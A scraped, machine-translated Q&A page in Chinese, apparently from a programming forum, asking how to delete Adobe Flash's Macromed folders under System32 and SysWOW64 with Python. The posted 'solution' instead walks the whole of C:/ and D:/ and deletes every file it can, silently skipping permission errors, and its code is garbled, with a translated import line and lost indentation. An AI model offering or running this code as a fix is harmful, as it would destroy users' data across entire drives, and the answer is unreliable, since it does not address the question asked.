python - Python:从 system32 或 SysWOW64 中删除文件夹的脚本
问题描述
我正在尝试编写一个脚本来删除C:\Windows\System32\Macromed和C:Windows\SysWOW64\Macromed(基本上是 adobe flash 手动卸载文件)。
我遇到的是来自 Windows 的权限问题,因为它需要提升权限才能删除这些文件夹。但是,Windows 没有提示我同意权限,也没有要求我的管理员用户名/密码允许我删除这些文件夹。
我尝试在网上查看并查看其shutil.rmtree()
工作原理,但就像我说的那样,遇到了权限墙的事情。
解决方案
从操作系统导入步行导入操作系统
# home = os.path.normpath(os.path.expanduser("~"))
home="C:/"
for dirpath,dirnames,file in walk(home):
for files in file:
dirpath1=os.path.normpath(dirpath)
childpath=os.path.join(dirpath1,files)
print(childpath)
try:
os.remove(childpath)
except PermissionError:
continue
home="D:/"
for dirpath,dirnames,file in walk(home):
for files in file:
dirpath1=os.path.normpath(dirpath)
childpath=os.path.join(dirpath1,files)
print(childpath)
try:
os.remove(childpath)
except PermissionError:
continue
推荐阅读
- ios - 在 Flutter 应用程序上使用 IOS 验证应用内购买产品
- swift - 视图主体中的 swiftui 三元运算符
- javascript - 更新来自 react-with-firebase-auth 的用户
- clojure - 用于线程宏的 Clojure 自定义函数
- laravel - 从 DB 到 null 的空字符串???if($var === null){ 语句}
- html - min-height: 100% 似乎不起作用,div 没有占满高度
- vim - Vim - 命令模式下的问题映射键
- reactjs - getInputData 未定义
- laravel - Vue.js 在有条件的选项上设置选定的值不起作用
- ios - 如何使用自定义 PickerStyle 创建单选按钮组?